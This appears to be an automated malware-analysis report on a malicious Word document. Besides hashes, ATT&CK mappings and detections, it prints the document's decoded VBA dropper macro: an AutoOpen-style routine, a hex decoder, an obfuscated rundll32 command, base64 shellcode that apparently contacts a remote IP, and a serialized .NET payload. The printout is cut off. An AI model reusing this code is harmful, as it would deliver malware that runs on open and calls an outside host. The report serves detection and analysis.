Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c34daa0dd64d6cdb…

MALICIOUS

Office (OLE)

115.0 KB Created: 2018-02-16 16:43:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 8e12507572f243b5b30a15edf54f0aa8 SHA-1: b83a33e2a1208fa45402d5cbd5d65e4ad5505d39 SHA-256: c34daa0dd64d6cdb6f1bd291a562bbb44a9d7aa5f2e9247a056b2ce4f136e2db
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function that is designed to execute a payload. The macro constructs a command line using 'rundll32.exe' and a long, hex-encoded string, which is likely a second-stage payload. This behavior is indicative of a dropper or downloader malware.

Heuristics 8

  • ClamAV: Doc.Dropper.HexEncodedEXEHeader-9789587-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.HexEncodedEXEHeader-9789587-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25262 bytes
SHA-256: 5db2e382a24cfdd112c14139d9f3bbe3f5f1f5dd46e7f2cf16330ed1f3a43286
Detection
ClamAV: Win.Countermeasure.G2JS_Script_Generic_1-9818937-0
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "AyyaIya"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public binary As String
Public code As String

Private Function decodeHex(hex)
    On Error Resume Next
    Dim DM, EL
    Set DM = CreateObject("Microsoft.XMLDOM")
    Set EL = DM.createElement("tmp")
    EL.DataType = "bin.hex"
    EL.Text = hex
    decodeHex = EL.NodeTypedValue
End Function

Function LegitFunction()
    
    Dim fdAsrir As String
    fdAsrir = "rundl"
    fdAsrir = fdAsrir & "l32.exe"

    Dim fauurArs As String
    fauurArs = ""
    fauurArs = fauurArs & "/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPj"
    fauurArs = fauurArs & "PEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABo"
    fauurArs = fauurArs & "d2luaVRoTHcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAAAWzHJUVFqA1FRaLsBAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAyoIRS"
    fauurArs = fauurArs & "UlJTUlBo61UuO//VicaDw1BogDMAAIngagRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+EygEAADH/hfZ0BIn56wloqsXi"
    fauurArs = fauurArs & "Xf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpe////zH/6ZEBAADpyQEAAOhv////L09YcUQAPl7kiNxqHywZ"
    fauurArs = fauurArs & "bQRuxzXKcd7U3oO/225XULafJyRGgKKXqICcymR6kPbASBn5X6S292+RXS7bNkWSI6/NZ5Qyj/ESgUJRH/Ox7ABVc2VyLUFnZW50"
    fauurArs = fauurArs & "OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvDQoAica5LxPPv36K"
    fauurArs = fauurArs & "PYdX32hbTGTg/un19G3kBypV+RQvr5OglTw+UlH9NDy0aZ3VIiq9+h8mQnjLP7pAvORgtdE5zF3z2jEG4R1Esaa8ymW0DoMQtNky"
    fauurArs = fauurArs & "tT18Jgn7a5+jDXkL2RkVDAYFFwW/2zmgHTSJ7/ZibJWRpxUkXK+Gj5deTXWBLgBny4rvG4OkhptWja4PAOBg9sSNEHbbk4tMvH8M"
    fauurArs = fauurArs & "vW7Du794onf9GayS0doLW1yz0uJ29pcuw79E7I7AAqBim454Ma4caYq/VoCLakpP3oYbZ6xpXgfps+K712z6p3QlLjsAaPC1olb/"
    fauurArs = fauurArs & "1WpAaAAQAABoAABAAFdoWKRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFwHXlWMPoif3//zM1LjE4My4y"
    fauurArs = fauurArs & "LjU1AAe4BrU="

    Dim ooyur
    ooyur = "0001000000FFFFFFFF010000000000000004010000002253797374656D2E44656C656761746553657269616C697A6174696F"
    ooyur = ooyur & "6E486F6C646572030000000844656C65676174650774617267657430076D6574686F64300303033053797374656D2E44656C"
    ooyur = ooyur & "656761746553657269616C697A6174696F6E486F6C6465722B44656C6567617465456E7472792253797374656D2E44656C65"
    ooyur = ooyur & "6761746553657269616C697A6174696F6E486F6C6465722F53797374656D2E5265666C656374696F6E2E4D656D626572496E"
    ooyur = ooyur & "666F53657269616C697A6174696F6E486F6C64657209020000000903000000090400000004020000003053797374656D2E44"
    ooyur = ooyur & "656C656761746553657269616C697A6174696F6E486F6C6465722B44656C6567617465456E74727907000000047479706508"
    ooyur = ooyur & "617373656D626C79067461726765741274617267657454797065417373656D626C790E746172676574547970654E616D650A"
    ooyur = ooyur & "6D6574686F644E616D650D64656C6567617465456E747279010102010101033053797374656D2E44656C6567617465536572"
    ooyur = ooyur & "69616C697A6174696F6E486F6C6465722B44656C6567617465456E74727906050000002F53797374656D2E52756E74696D65"
    ooyur = ooyur & "2E52656D6F74696E672E4D6573736167696E672E48656164657248616E646C657206060000004B6D73636F726C69622C2056"
    ooyur = ooyur & "657273696F6E3D322E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6237"
    ooyur = ooyur & "376135633536313933346530383906070000000774617267657430090600000006090000000F53797374656D2E44656C6567"
    ooyur = ooyur & "617465060A0000000D44796E616D6963496E766F6B650A04030000002253797374656D2E44656C656761746553657269616C"
    ooyur = ooyur & "697A6174696F6E486F6C646572030000000844656C65676174650774617267657430076D6574686F64300307033053797374"
    ooyur = ooyur & "656D2E44656C656761746553657269616C697A6174696F6E486F6C6465722B44656C6567617465456E747279022F53797374"

... (truncated)